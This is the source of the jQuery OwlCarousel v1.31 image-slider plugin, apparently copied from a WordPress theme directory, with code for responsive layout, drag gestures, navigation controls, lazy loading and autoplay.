File: /var/www/html/belairhomeloan.com/wp-content/themes/saladmag/js/owl.carousel.js
/*
* jQuery OwlCarousel v1.31
*
* Copyright (c) 2013 Bartosz Wojciechowski
* http://www.owlgraphic.com/owlcarousel/
*
* Licensed under MIT
*
*/
if ( typeof Object.create !== "function" ) {
Object.create = function( obj ) {
function F() {};
F.prototype = obj;
return new F();
};
}
(function( $, window, document, undefined ) {
var Carousel = {
init :function(options, el){
var base = this;
base.$elem = $(el);
// options passed via js override options passed via data attributes
base.options = $.extend({}, $.fn.owlCarousel.options, base.$elem.data(), options);
base.userOptions = options;
base.loadContent();
},
loadContent : function(){
var base = this;
if (typeof base.options.beforeInit === "function") {
base.options.beforeInit.apply(this,[base.$elem]);
}
if (typeof base.options.jsonPath === "string") {
var url = base.options.jsonPath;
function getData(data) {
if (typeof base.options.jsonSuccess === "function") {
base.options.jsonSuccess.apply(this,[data]);
} else {
var content = "";
for(var i in data["owl"]){
content += data["owl"][i]["item"];
}
base.$elem.html(content);
}
base.logIn();
}
$.getJSON(url,getData);
} else {
base.logIn();
}
},
logIn : function(action){
var base = this;
base.$elem.data("owl-originalStyles", base.$elem.attr("style"))
.data("owl-originalClasses", base.$elem.attr("class"));
base.$elem.css({opacity: 0});
base.orignalItems = base.options.items;
base.checkBrowser();
base.wrapperWidth = 0;
base.checkVisible;
base.setVars();
},
setVars : function(){
var base = this;
if(base.$elem.children().length === 0){return false}
base.baseClass();
base.eventTypes();
base.$userItems = base.$elem.children();
base.itemsAmount = base.$userItems.length;
base.wrapItems();
base.$owlItems = base.$elem.find(".owl-item");
base.$owlWrapper = base.$elem.find(".owl-wrapper");
base.playDirection = "next";
base.prevItem = 0;
base.prevArr = [0];
base.currentItem = 0;
base.customEvents();
base.onStartup();
},
onStartup : function(){
var base = this;
base.updateItems();
base.calculateAll();
base.buildControls();
base.updateControls();
base.response();
base.moveEvents();
base.stopOnHover();
base.owlStatus();
if(base.options.transitionStyle !== false){
base.transitionTypes(base.options.transitionStyle);
}
if(base.options.autoPlay === true){
base.options.autoPlay = 5000;
}
base.play();
base.$elem.find(".owl-wrapper").css("display","block")
if(!base.$elem.is(":visible")){
base.watchVisibility();
} else {
base.$elem.css("opacity",1);
}
base.onstartup = false;
base.eachMoveUpdate();
if (typeof base.options.afterInit === "function") {
base.options.afterInit.apply(this,[base.$elem]);
}
},
eachMoveUpdate : function(){
var base = this;
if(base.options.lazyLoad === true){
base.lazyLoad();
}
if(base.options.autoHeight === true){
base.autoHeight();
}
base.onVisibleItems();
if (typeof base.options.afterAction === "function") {
base.options.afterAction.apply(this,[base.$elem]);
}
},
updateVars : function(){
var base = this;
if(typeof base.options.beforeUpdate === "function") {
base.options.beforeUpdate.apply(this,[base.$elem]);
}
base.watchVisibility();
base.updateItems();
base.calculateAll();
base.updatePosition();
base.updateControls();
base.eachMoveUpdate();
if(typeof base.options.afterUpdate === "function") {
base.options.afterUpdate.apply(this,[base.$elem]);
}
},
reload : function(elements){
var base = this;
setTimeout(function(){
base.updateVars();
},0)
},
watchVisibility : function(){
var base = this;
if(base.$elem.is(":visible") === false){
base.$elem.css({opacity: 0});
clearInterval(base.autoPlayInterval);
clearInterval(base.checkVisible);
} else {
return false;
}
base.checkVisible = setInterval(function(){
if (base.$elem.is(":visible")) {
base.reload();
base.$elem.animate({opacity: 1},200);
clearInterval(base.checkVisible);
}
}, 500);
},
wrapItems : function(){
var base = this;
base.$userItems.wrapAll("<div class=\"owl-wrapper\">").wrap("<div class=\"owl-item\"></div>");
base.$elem.find(".owl-wrapper").wrap("<div class=\"owl-wrapper-outer\">");
base.wrapperOuter = base.$elem.find(".owl-wrapper-outer");
base.$elem.css("display","block");
},
baseClass : function(){
var base = this;
var hasBaseClass = base.$elem.hasClass(base.options.baseClass);
var hasThemeClass = base.$elem.hasClass(base.options.theme);
if(!hasBaseClass){
base.$elem.addClass(base.options.baseClass);
}
if(!hasThemeClass){
base.$elem.addClass(base.options.theme);
}
},
updateItems : function(){
var base = this;
if(base.options.responsive === false){
return false;
}
if(base.options.singleItem === true){
base.options.items = base.orignalItems = 1;
base.options.itemsCustom = false;
base.options.itemsDesktop = false;
base.options.itemsDesktopSmall = false;
base.options.itemsTablet = false;
base.options.itemsTabletSmall = false;
base.options.itemsMobile = false;
return false;
}
var width = $(base.options.responsiveBaseWidth).width();
if(width > (base.options.itemsDesktop[0] || base.orignalItems) ){
base.options.items = base.orignalItems;
}
if(typeof(base.options.itemsCustom) !== 'undefined' && base.options.itemsCustom !== false){
//Reorder array by screen size
base.options.itemsCustom.sort(function(a,b){return a[0]-b[0];});
for(var i in base.options.itemsCustom){
if(typeof(base.options.itemsCustom[i]) !== 'undefined' && base.options.itemsCustom[i][0] <= width){
base.options.items = base.options.itemsCustom[i][1];
}
}
} else {
if(width <= base.options.itemsDesktop[0] && base.options.itemsDesktop !== false){
base.options.items = base.options.itemsDesktop[1];
}
if(width <= base.options.itemsDesktopSmall[0] && base.options.itemsDesktopSmall !== false){
base.options.items = base.options.itemsDesktopSmall[1];
}
if(width <= base.options.itemsTablet[0] && base.options.itemsTablet !== false){
base.options.items = base.options.itemsTablet[1];
}
if(width <= base.options.itemsTabletSmall[0] && base.options.itemsTabletSmall !== false){
base.options.items = base.options.itemsTabletSmall[1];
}
if(width <= base.options.itemsMobile[0] && base.options.itemsMobile !== false){
base.options.items = base.options.itemsMobile[1];
}
}
//if number of items is less than declared
if(base.options.items > base.itemsAmount && base.options.itemsScaleUp === true){
base.options.items = base.itemsAmount;
}
},
response : function(){
var base = this,
smallDelay;
if(base.options.responsive !== true){
return false
}
var lastWindowWidth = $(window).width();
base.resizer = function(){
if($(window).width() !== lastWindowWidth){
if(base.options.autoPlay !== false){
clearInterval(base.autoPlayInterval);
}
clearTimeout(smallDelay);
smallDelay = setTimeout(function(){
lastWindowWidth = $(window).width();
base.updateVars();
},base.options.responsiveRefreshRate);
}
}
$(window).resize(base.resizer)
},
updatePosition : function(){
var base = this;
base.jumpTo(base.currentItem);
if(base.options.autoPlay !== false){
base.checkAp();
}
},
appendItemsSizes : function(){
var base = this;
var roundPages = 0;
var lastItem = base.itemsAmount - base.options.items;
base.$owlItems.each(function(index){
var $this = $(this);
$this
.css({"width": base.itemWidth})
.data("owl-item",Number(index));
if(index % base.options.items === 0 || index === lastItem){
if(!(index > lastItem)){
roundPages +=1;
}
}
$this.data("owl-roundPages",roundPages)
});
},
appendWrapperSizes : function(){
var base = this;
var width = 0;
var width = base.$owlItems.length * base.itemWidth;
base.$owlWrapper.css({
"width": width*2,
"left": 0
});
base.appendItemsSizes();
},
calculateAll : function(){
var base = this;
base.calculateWidth();
base.appendWrapperSizes();
base.loops();
base.max();
},
calculateWidth : function(){
var base = this;
base.itemWidth = Math.round(base.$elem.width()/base.options.items)
},
max : function(){
var base = this;
var maximum = ((base.itemsAmount * base.itemWidth) - base.options.items * base.itemWidth) * -1;
if(base.options.items > base.itemsAmount){
base.maximumItem = 0;
maximum = 0
base.maximumPixels = 0;
} else {
base.maximumItem = base.itemsAmount - base.options.items;
base.maximumPixels = maximum;
}
return maximum;
},
min : function(){
return 0;
},
loops : function(){
var base = this;
base.positionsInArray = [0];
base.pagesInArray = [];
var prev = 0;
var elWidth = 0;
for(var i = 0; i<base.itemsAmount; i++){
elWidth += base.itemWidth;
base.positionsInArray.push(-elWidth);
if(base.options.scrollPerPage === true){
var item = $(base.$owlItems[i]);
var roundPageNum = item.data("owl-roundPages");
if(roundPageNum !== prev){
base.pagesInArray[prev] = base.positionsInArray[i];
prev = roundPageNum;
}
}
}
},
buildControls : function(){
var base = this;
if(base.options.navigation === true || base.options.pagination === true){
base.owlControls = $("<div class=\"owl-controls\"/>").toggleClass("clickable", !base.browser.isTouch).appendTo(base.$elem);
}
if(base.options.pagination === true){
base.buildPagination();
}
if(base.options.navigation === true){
base.buildButtons();
}
},
buildButtons : function(){
var base = this;
var buttonsWrapper = $("<div class=\"owl-buttons\"/>")
base.owlControls.append(buttonsWrapper);
base.buttonPrev = $("<div/>",{
"class" : "owl-prev",
"html" : base.options.navigationText[0] || ""
});
base.buttonNext = $("<div/>",{
"class" : "owl-next",
"html" : base.options.navigationText[1] || ""
});
buttonsWrapper
.append(base.buttonPrev)
.append(base.buttonNext);
buttonsWrapper.on("touchstart.owlControls mousedown.owlControls", "div[class^=\"owl\"]", function(event){
event.preventDefault();
})
buttonsWrapper.on("touchend.owlControls mouseup.owlControls", "div[class^=\"owl\"]", function(event){
event.preventDefault();
if($(this).hasClass("owl-next")){
base.next();
} else{
base.prev();
}
})
},
buildPagination : function(){
var base = this;
base.paginationWrapper = $("<div class=\"owl-pagination\"/>");
base.owlControls.append(base.paginationWrapper);
base.paginationWrapper.on("touchend.owlControls mouseup.owlControls", ".owl-page", function(event){
event.preventDefault();
if(Number($(this).data("owl-page")) !== base.currentItem){
base.goTo( Number($(this).data("owl-page")), true);
}
});
},
updatePagination : function(){
var base = this;
if(base.options.pagination === false){
return false;
}
base.paginationWrapper.html("");
var counter = 0;
var lastPage = base.itemsAmount - base.itemsAmount % base.options.items;
for(var i = 0; i<base.itemsAmount; i++){
if(i % base.options.items === 0){
counter +=1;
if(lastPage === i){
var lastItem = base.itemsAmount - base.options.items;
}
var paginationButton = $("<div/>",{
"class" : "owl-page"
});
var paginationButtonInner = $("<span></span>",{
"text": base.options.paginationNumbers === true ? counter : "",
"class": base.options.paginationNumbers === true ? "owl-numbers" : ""
});
paginationButton.append(paginationButtonInner);
paginationButton.data("owl-page",lastPage === i ? lastItem : i);
paginationButton.data("owl-roundPages",counter);
base.paginationWrapper.append(paginationButton);
}
}
base.checkPagination();
},
checkPagination : function(){
var base = this;
if(base.options.pagination === false){
return false;
}
base.paginationWrapper.find(".owl-page").each(function(i,v){
if($(this).data("owl-roundPages") === $(base.$owlItems[base.currentItem]).data("owl-roundPages") ){
base.paginationWrapper
.find(".owl-page")
.removeClass("active");
$(this).addClass("active");
}
});
},
checkNavigation : function(){
var base = this;
if(base.options.navigation === false){
return false;
}
if(base.options.rewindNav === false){
if(base.currentItem === 0 && base.maximumItem === 0){
base.buttonPrev.addClass("disabled");
base.buttonNext.addClass("disabled");
} else if(base.currentItem === 0 && base.maximumItem !== 0){
base.buttonPrev.addClass("disabled");
base.buttonNext.removeClass("disabled");
} else if (base.currentItem === base.maximumItem){
base.buttonPrev.removeClass("disabled");
base.buttonNext.addClass("disabled");
} else if(base.currentItem !== 0 && base.currentItem !== base.maximumItem){
base.buttonPrev.removeClass("disabled");
base.buttonNext.removeClass("disabled");
}
}
},
updateControls : function(){
var base = this;
base.updatePagination();
base.checkNavigation();
if(base.owlControls){
if(base.options.items >= base.itemsAmount){
base.owlControls.hide();
} else {
base.owlControls.show();
}
}
},
destroyControls : function(){
var base = this;
if(base.owlControls){
base.owlControls.remove();
}
},
next : function(speed){
var base = this;
if(base.isTransition){
return false;
}
base.currentItem += base.options.scrollPerPage === true ? base.options.items : 1;
if(base.currentItem > base.maximumItem + (base.options.scrollPerPage == true ? (base.options.items - 1) : 0)){
if(base.options.rewindNav === true){
base.currentItem = 0;
speed = "rewind";
} else {
base.currentItem = base.maximumItem;
return false;
}
}
base.goTo(base.currentItem,speed);
},
prev : function(speed){
var base = this;
if(base.isTransition){
return false;
}
if(base.options.scrollPerPage === true && base.currentItem > 0 && base.currentItem < base.options.items){
base.currentItem = 0
} else {
base.currentItem -= base.options.scrollPerPage === true ? base.options.items : 1;
}
if(base.currentItem < 0){
if(base.options.rewindNav === true){
base.currentItem = base.maximumItem;
speed = "rewind"
} else {
base.currentItem =0;
return false;
}
}
base.goTo(base.currentItem,speed);
},
goTo : function(position,speed,drag){
var base = this;
if(base.isTransition){
return false;
}
if(typeof base.options.beforeMove === "function") {
base.options.beforeMove.apply(this,[base.$elem]);
}
if(position >= base.maximumItem){
position = base.maximumItem;
}
else if( position <= 0 ){
position = 0;
}
base.currentItem = base.owl.currentItem = position;
if( base.options.transitionStyle !== false && drag !== "drag" && base.options.items === 1 && base.browser.support3d === true){
base.swapSpeed(0)
if(base.browser.support3d === true){
base.transition3d(base.positionsInArray[position]);
} else {
base.css2slide(base.positionsInArray[position],1);
}
base.afterGo();
base.singleItemTransition();
return false;
}
var goToPixel = base.positionsInArray[position];
if(base.browser.support3d === true){
base.isCss3Finish = false;
if(speed === true){
base.swapSpeed("paginationSpeed");
setTimeout(function() {
base.isCss3Finish = true;
}, base.options.paginationSpeed);
} else if(speed === "rewind" ){
base.swapSpeed(base.options.rewindSpeed);
setTimeout(function() {
base.isCss3Finish = true;
}, base.options.rewindSpeed);
} else {
base.swapSpeed("slideSpeed");
setTimeout(function() {
base.isCss3Finish = true;
}, base.options.slideSpeed);
}
base.transition3d(goToPixel);
} else {
if(speed === true){
base.css2slide(goToPixel, base.options.paginationSpeed);
} else if(speed === "rewind" ){
base.css2slide(goToPixel, base.options.rewindSpeed);
} else {
base.css2slide(goToPixel, base.options.slideSpeed);
}
}
base.afterGo();
},
jumpTo : function(position){
var base = this;
if(typeof base.options.beforeMove === "function") {
base.options.beforeMove.apply(this,[base.$elem]);
}
if(position >= base.maximumItem || position === -1){
position = base.maximumItem;
}
else if( position <= 0 ){
position = 0;
}
base.swapSpeed(0)
if(base.browser.support3d === true){
base.transition3d(base.positionsInArray[position]);
} else {
base.css2slide(base.positionsInArray[position],1);
}
base.currentItem = base.owl.currentItem = position;
base.afterGo();
},
afterGo : function(){
var base = this;
base.prevArr.push(base.currentItem);
base.prevItem = base.owl.prevItem = base.prevArr[base.prevArr.length -2];
base.prevArr.shift(0)
if(base.prevItem !== base.currentItem){
base.checkPagination();
base.checkNavigation();
base.eachMoveUpdate();
if(base.options.autoPlay !== false){
base.checkAp();
}
}
if(typeof base.options.afterMove === "function" && base.prevItem !== base.currentItem) {
base.options.afterMove.apply(this,[base.$elem]);
}
},
stop : function(){
var base = this;
base.apStatus = "stop";
clearInterval(base.autoPlayInterval);
},
checkAp : function(){
var base = this;
if(base.apStatus !== "stop"){
base.play();
}
},
play : function(){
var base = this;
base.apStatus = "play";
if(base.options.autoPlay === false){
return false;
}
clearInterval(base.autoPlayInterval);
base.autoPlayInterval = setInterval(function(){
base.next(true);
},base.options.autoPlay);
},
swapSpeed : function(action){
var base = this;
if(action === "slideSpeed"){
base.$owlWrapper.css(base.addCssSpeed(base.options.slideSpeed));
} else if(action === "paginationSpeed" ){
base.$owlWrapper.css(base.addCssSpeed(base.options.paginationSpeed));
} else if(typeof action !== "string"){
base.$owlWrapper.css(base.addCssSpeed(action));
}
},
addCssSpeed : function(speed){
var base = this;
return {
"-webkit-transition": "all "+ speed +"ms ease",
"-moz-transition": "all "+ speed +"ms ease",
"-o-transition": "all "+ speed +"ms ease",
"transition": "all "+ speed +"ms ease"
};
},
removeTransition : function(){
return {
"-webkit-transition": "",
"-moz-transition": "",
"-o-transition": "",
"transition": ""
};
},
doTranslate : function(pixels){
return {
"-webkit-transform": "translate3d("+pixels+"px, 0px, 0px)",
"-moz-transform": "translate3d("+pixels+"px, 0px, 0px)",
"-o-transform": "translate3d("+pixels+"px, 0px, 0px)",
"-ms-transform": "translate3d("+pixels+"px, 0px, 0px)",
"transform": "translate3d("+pixels+"px, 0px,0px)"
};
},
transition3d : function(value){
var base = this;
base.$owlWrapper.css(base.doTranslate(value));
},
css2move : function(value){
var base = this;
base.$owlWrapper.css({"left" : value})
},
css2slide : function(value,speed){
var base = this;
base.isCssFinish = false;
base.$owlWrapper.stop(true,true).animate({
"left" : value
}, {
duration : speed || base.options.slideSpeed ,
complete : function(){
base.isCssFinish = true;
}
});
},
checkBrowser : function(){
var base = this;
//Check 3d support
var translate3D = "translate3d(0px, 0px, 0px)",
tempElem = document.createElement("div");
tempElem.style.cssText= " -moz-transform:" + translate3D +
"; -ms-transform:" + translate3D +
"; -o-transform:" + translate3D +
"; -webkit-transform:" + translate3D +
"; transform:" + translate3D;
var regex = /translate3d\(0px, 0px, 0px\)/g,
asSupport = tempElem.style.cssText.match(regex),
support3d = (asSupport !== null && asSupport.length === 1);
var isTouch = "ontouchstart" in window || navigator.msMaxTouchPoints;
base.browser = {
"support3d" : support3d,
"isTouch" : isTouch
}
},
moveEvents : function(){
var base = this;
if(base.options.mouseDrag !== false || base.options.touchDrag !== false){
base.gestures();
base.disabledEvents();
}
},
eventTypes : function(){
var base = this;
var types = ["s","e","x"];
base.ev_types = {};
if(base.options.mouseDrag === true && base.options.touchDrag === true){
types = [
"touchstart.owl mousedown.owl",
"touchmove.owl mousemove.owl",
"touchend.owl touchcancel.owl mouseup.owl"
];
} else if(base.options.mouseDrag === false && base.options.touchDrag === true){
types = [
"touchstart.owl",
"touchmove.owl",
"touchend.owl touchcancel.owl"
];
} else if(base.options.mouseDrag === true && base.options.touchDrag === false){
types = [
"mousedown.owl",
"mousemove.owl",
"mouseup.owl"
];
}
base.ev_types["start"] = types[0];
base.ev_types["move"] = types[1];
base.ev_types["end"] = types[2];
},
disabledEvents : function(){
var base = this;
base.$elem.on("dragstart.owl", function(event) { event.preventDefault();});
base.$elem.on("mousedown.disableTextSelect", function(e) {
return $(e.target).is('input, textarea, select, option');
});
},
gestures : function(){
var base = this;
var locals = {
offsetX : 0,
offsetY : 0,
baseElWidth : 0,
relativePos : 0,
position: null,
minSwipe : null,
maxSwipe: null,
sliding : null,
dargging: null,
targetElement : null
}
base.isCssFinish = true;
function getTouches(event){
if(event.touches){
return {
x : event.touches[0].pageX,
y : event.touches[0].pageY
}
} else {
if(event.pageX !== undefined){
return {
x : event.pageX,
y : event.pageY
}
} else {
return {
x : event.clientX,
y : event.clientY
}
}
}
}
function swapEvents(type){
if(type === "on"){
$(document).on(base.ev_types["move"], dragMove);
$(document).on(base.ev_types["end"], dragEnd);
} else if(type === "off"){
$(document).off(base.ev_types["move"]);
$(document).off(base.ev_types["end"]);
}
}
function dragStart(event) {
var event = event.originalEvent || event || window.event;
if (event.which === 3) {
return false;
}
if(base.itemsAmount <= base.options.items){
return;
}
if(base.isCssFinish === false && !base.options.dragBeforeAnimFinish ){
return false;
}
if(base.isCss3Finish === false && !base.options.dragBeforeAnimFinish ){
return false;
}
if(base.options.autoPlay !== false){
clearInterval(base.autoPlayInterval);
}
if(base.browser.isTouch !== true && !base.$owlWrapper.hasClass("grabbing")){
base.$owlWrapper.addClass("grabbing")
}
base.newPosX = 0;
base.newRelativeX = 0;
$(this).css(base.removeTransition());
var position = $(this).position();
locals.relativePos = position.left;
locals.offsetX = getTouches(event).x - position.left;
locals.offsetY = getTouches(event).y - position.top;
swapEvents("on");
locals.sliding = false;
locals.targetElement = event.target || event.srcElement;
}
function dragMove(event){
var event = event.originalEvent || event || window.event;
base.newPosX = getTouches(event).x- locals.offsetX;
base.newPosY = getTouches(event).y - locals.offsetY;
base.newRelativeX = base.newPosX - locals.relativePos;
if (typeof base.options.startDragging === "function" && locals.dragging !== true && base.newRelativeX !== 0) {
locals.dragging = true;
base.options.startDragging.apply(base,[base.$elem]);
}
if(base.newRelativeX > 8 || base.newRelativeX < -8 && base.browser.isTouch === true){
event.preventDefault ? event.preventDefault() : event.returnValue = false;
locals.sliding = true;
}
if((base.newPosY > 10 || base.newPosY < -10) && locals.sliding === false){
$(document).off("touchmove.owl");
}
var minSwipe = function(){
return base.newRelativeX / 5;
}
var maxSwipe = function(){
return base.maximumPixels + base.newRelativeX / 5;
}
base.newPosX = Math.max(Math.min( base.newPosX, minSwipe() ), maxSwipe() );
if(base.browser.support3d === true){
base.transition3d(base.newPosX);
} else {
base.css2move(base.newPosX);
}
}
function dragEnd(event){
var event = event.originalEvent || event || window.event;
event.target = event.target || event.srcElement;
locals.dragging = false;
if(base.browser.isTouch !== true){
base.$owlWrapper.removeClass("grabbing");
}
if(base.newRelativeX<0){
base.dragDirection = base.owl.dragDirection = "left"
} else {
base.dragDirection = base.owl.dragDirection = "right"
}
if(base.newRelativeX !== 0){
var newPosition = base.getNewPosition();
base.goTo(newPosition,false,"drag");
if(locals.targetElement === event.target && base.browser.isTouch !== true){
$(event.target).on("click.disable", function(ev){
ev.stopImmediatePropagation();
ev.stopPropagation();
ev.preventDefault();
$(event.target).off("click.disable");
});
var handlers = $._data(event.target, "events")["click"];
var owlStopEvent = handlers.pop();
handlers.splice(0, 0, owlStopEvent);
}
}
swapEvents("off");
}
base.$elem.on(base.ev_types["start"], ".owl-wrapper", dragStart);
},
getNewPosition : function(){
var base = this,
newPosition;
newPosition = base.closestItem();
if(newPosition>base.maximumItem){
base.currentItem = base.maximumItem;
newPosition = base.maximumItem;
} else if( base.newPosX >=0 ){
newPosition = 0;
base.currentItem = 0;
}
return newPosition;
},
closestItem : function(){
var base = this,
array = base.options.scrollPerPage === true ? base.pagesInArray : base.positionsInArray,
goal = base.newPosX,
closest = null;
$.each(array, function(i,v){
if( goal - (base.itemWidth/20) > array[i+1] && goal - (base.itemWidth/20)< v && base.moveDirection() === "left") {
closest = v;
if(base.options.scrollPerPage === true){
base.currentItem = $.inArray(closest, base.positionsInArray);
} else {
base.currentItem = i;
}
}
else if (goal + (base.itemWidth/20) < v && goal + (base.itemWidth/20) > (array[i+1] || array[i]-base.itemWidth) && base.moveDirection() === "right"){
if(base.options.scrollPerPage === true){
closest = array[i+1] || array[array.length-1];
base.currentItem = $.inArray(closest, base.positionsInArray);
} else {
closest = array[i+1];
base.currentItem = i+1;
}
}
});
return base.currentItem;
},
moveDirection : function(){
var base = this,
direction;
if(base.newRelativeX < 0 ){
direction = "right"
base.playDirection = "next"
} else {
direction = "left"
base.playDirection = "prev"
}
return direction
},
customEvents : function(){
var base = this;
base.$elem.on("owl.next",function(){
base.next();
});
base.$elem.on("owl.prev",function(){
base.prev();
});
base.$elem.on("owl.play",function(event,speed){
base.options.autoPlay = speed;
base.play();
base.hoverStatus = "play";
});
base.$elem.on("owl.stop",function(){
base.stop();
base.hoverStatus = "stop";
});
base.$elem.on("owl.goTo",function(event,item){
base.goTo(item)
});
base.$elem.on("owl.jumpTo",function(event,item){
base.jumpTo(item)
});
},
stopOnHover : function(){
var base = this;
if(base.options.stopOnHover === true && base.browser.isTouch !== true && base.options.autoPlay !== false){
base.$elem.on("mouseover", function(){
base.stop();
});
base.$elem.on("mouseout", function(){
if(base.hoverStatus !== "stop"){
base.play();
}
});
}
},
lazyLoad : function(){
var base = this;
if(base.options.lazyLoad === false){
return false;
}
for(var i=0; i<base.itemsAmount; i++){
var $item = $(base.$owlItems[i]);
if($item.data("owl-loaded") === "loaded"){
continue;
}
var itemNumber = $item.data("owl-item"),
$lazyImg = $item.find(".lazyOwl"),
follow;
if( typeof $lazyImg.data("src") !== "string"){
$item.data("owl-loaded","loaded");
continue;
}
if($item.data("owl-loaded") === undefined){
$lazyImg.hide();
$item.addClass("loading").data("owl-loaded","checked");
}
if(base.options.lazyFollow === true){
follow = itemNumber >= base.currentItem;
} else {
follow = true;
}
if(follow && itemNumber < base.currentItem + base.options.items && $lazyImg.length){
base.lazyPreload($item,$lazyImg);
}
}
},
lazyPreload : function($item,$lazyImg){
var base = this,
iterations = 0;
if ($lazyImg.prop("tagName") === "DIV") {
$lazyImg.css("background-image", "url(" + $lazyImg.data("src")+ ")" );
var isBackgroundImg=true;
} else {
$lazyImg[0].src = $lazyImg.data("src");
}
checkLazyImage();
function checkLazyImage(){
iterations += 1;
if (base.completeImg($lazyImg.get(0)) || isBackgroundImg === true) {
showImage();
} else if(iterations <= 100){//if image loads in less than 10 seconds
setTimeout(checkLazyImage,100);
} else {
showImage();
}
}
function showImage(){
$item.data("owl-loaded", "loaded").removeClass("loading");
$lazyImg.removeAttr("data-src");
base.options.lazyEffect === "fade" ? $lazyImg.fadeIn(400) : $lazyImg.show();
if(typeof base.options.afterLazyLoad === "function") {
base.options.afterLazyLoad.apply(this,[base.$elem]);
}
}
},
autoHeight : function(){
var base = this;
var $currentimg = $(base.$owlItems[base.currentItem]).find("img");
if($currentimg.get(0) !== undefined ){
var iterations = 0;
checkImage();
} else {
addHeight();
}
function checkImage(){
iterations += 1;
if ( base.completeImg($currentimg.get(0)) ) {
addHeight();
} else if(iterations <= 100){ //if image loads in less than 10 seconds
setTimeout(checkImage,100);
} else {
base.wrapperOuter.css("height", ""); //Else remove height attribute
}
}
function addHeight(){
var $currentItem = $(base.$owlItems[base.currentItem]).height();
base.wrapperOuter.css("height",$currentItem+"px");
if(!base.wrapperOuter.hasClass("autoHeight")){
setTimeout(function(){
base.wrapperOuter.addClass("autoHeight");
},0);
}
}
},
completeImg : function(img) {
if (!img.complete) {
return false;
}
if (typeof img.naturalWidth !== "undefined" && img.naturalWidth == 0) {
return false;
}
return true;
},
onVisibleItems : function(){
var base = this;
if(base.options.addClassActive === true){
base.$owlItems.removeClass("active");
}
base.visibleItems = [];
for(var i=base.currentItem; i<base.currentItem + base.options.items; i++){
base.visibleItems.push(i);
if(base.options.addClassActive === true){
$(base.$owlItems[i]).addClass("active");
}
}
base.owl.visibleItems = base.visibleItems;
},
transitionTypes : function(className){
var base = this;
//Currently available: "fade","backSlide","goDown","fadeUp"
base.outClass = "owl-"+className+"-out";
base.inClass = "owl-"+className+"-in";
},
singleItemTransition : function(){
var base = this;
base.isTransition = true;
var outClass = base.outClass,
inClass = base.inClass,
$currentItem = base.$owlItems.eq(base.currentItem),
$prevItem = base.$owlItems.eq(base.prevItem),
prevPos = Math.abs(base.positionsInArray[base.currentItem]) + base.positionsInArray[base.prevItem],
origin = Math.abs(base.positionsInArray[base.currentItem])+base.itemWidth/2;
base.$owlWrapper
.addClass('owl-origin')
.css({
"-webkit-transform-origin" : origin+"px",
"-moz-perspective-origin" : origin+"px",
"perspective-origin" : origin+"px"
});
function transStyles(prevPos,zindex){
return {
"position" : "relative",
"left" : prevPos+"px"
};
}
var animEnd = 'webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend';
$prevItem
.css(transStyles(prevPos,10))
.addClass(outClass)
.on(animEnd, function() {
base.endPrev = true;
$prevItem.off(animEnd);
base.clearTransStyle($prevItem,outClass);
});
$currentItem
.addClass(inClass)
.on(animEnd, function() {
base.endCurrent = true;
$currentItem.off(animEnd);
base.clearTransStyle($currentItem,inClass);
});
},
clearTransStyle : function(item,classToRemove){
var base = this;
item.css({
"position" : "",
"left" : ""
})
.removeClass(classToRemove);
if(base.endPrev && base.endCurrent){
base.$owlWrapper.removeClass('owl-origin');
base.endPrev = false;
base.endCurrent = false;
base.isTransition = false;
}
},
owlStatus : function(){
var base = this;
base.owl = {
"userOptions" : base.userOptions,
"baseElement" : base.$elem,
"userItems" : base.$userItems,
"owlItems" : base.$owlItems,
"currentItem" : base.currentItem,
"prevItem" : base.prevItem,
"visibleItems" : base.visibleItems,
"isTouch" : base.browser.isTouch,
"browser" : base.browser,
"dragDirection" : base.dragDirection
}
},
clearEvents : function(){
var base = this;
base.$elem.off(".owl owl mousedown.disableTextSelect");
$(document).off(".owl owl");
$(window).off("resize", base.resizer);
},
unWrap : function(){
var base = this;
if(base.$elem.children().length !== 0){
base.$owlWrapper.unwrap();
base.$userItems.unwrap().unwrap();
if(base.owlControls){
base.owlControls.remove();
}
}
base.clearEvents();
base.$elem
.attr("style", base.$elem.data("owl-originalStyles") || "")
.attr("class", base.$elem.data("owl-originalClasses"));
},
destroy : function(){
var base = this;
base.stop();
clearInterval(base.checkVisible);
base.unWrap();
base.$elem.removeData();
},
reinit : function(newOptions){
var base = this;
var options = $.extend({}, base.userOptions, newOptions);
base.unWrap();
base.init(options,base.$elem);
},
addItem : function(htmlString,targetPosition){
var base = this,
position;
if(!htmlString){return false}
if(base.$elem.children().length === 0){
base.$elem.append(htmlString);
base.setVars();
return false;
}
base.unWrap();
if(targetPosition === undefined || targetPosition === -1){
position = -1;
} else {
position = targetPosition;
}
if(position >= base.$userItems.length || position === -1){
base.$userItems.eq(-1).after(htmlString)
} else {
base.$userItems.eq(position).before(htmlString)
}
base.setVars();
},
removeItem : function(targetPosition){
var base = this,
position;
if(base.$elem.children().length === 0){return false}
if(targetPosition === undefined || targetPosition === -1){
position = -1;
} else {
position = targetPosition;
}
base.unWrap();
base.$userItems.eq(position).remove();
base.setVars();
}
};
$.fn.owlCarousel = function( options ){
return this.each(function() {
if($(this).data("owl-init") === true){
return false;
}
$(this).data("owl-init", true);
var carousel = Object.create( Carousel );
carousel.init( options, this );
$.data( this, "owlCarousel", carousel );
});
};
$.fn.owlCarousel.options = {
items : 5,
itemsCustom : false,
itemsDesktop : [1199,4],
itemsDesktopSmall : [979,3],
itemsTablet : [768,2],
itemsTabletSmall : false,
itemsMobile : [479,1],
singleItem : false,
itemsScaleUp : false,
slideSpeed : 200,
paginationSpeed : 800,
rewindSpeed : 1000,
autoPlay : false,
stopOnHover : false,
navigation : false,
navigationText : ["prev","next"],
rewindNav : true,
scrollPerPage : false,
pagination : true,
paginationNumbers : false,
responsive : true,
responsiveRefreshRate : 200,
responsiveBaseWidth : window,
baseClass : "owl-carousel",
theme : "owl-theme",
lazyLoad : false,
lazyFollow : true,
lazyEffect : "fade",
autoHeight : false,
jsonPath : false,
jsonSuccess : false,
dragBeforeAnimFinish : true,
mouseDrag : true,
touchDrag : true,
addClassActive : false,
transitionStyle : false,
beforeUpdate : false,
afterUpdate : false,
beforeInit : false,
afterInit : false,
beforeMove : false,
afterMove : false,
afterAction : false,
startDragging : false,
afterLazyLoad: false
};
})( jQuery, window, document );
};
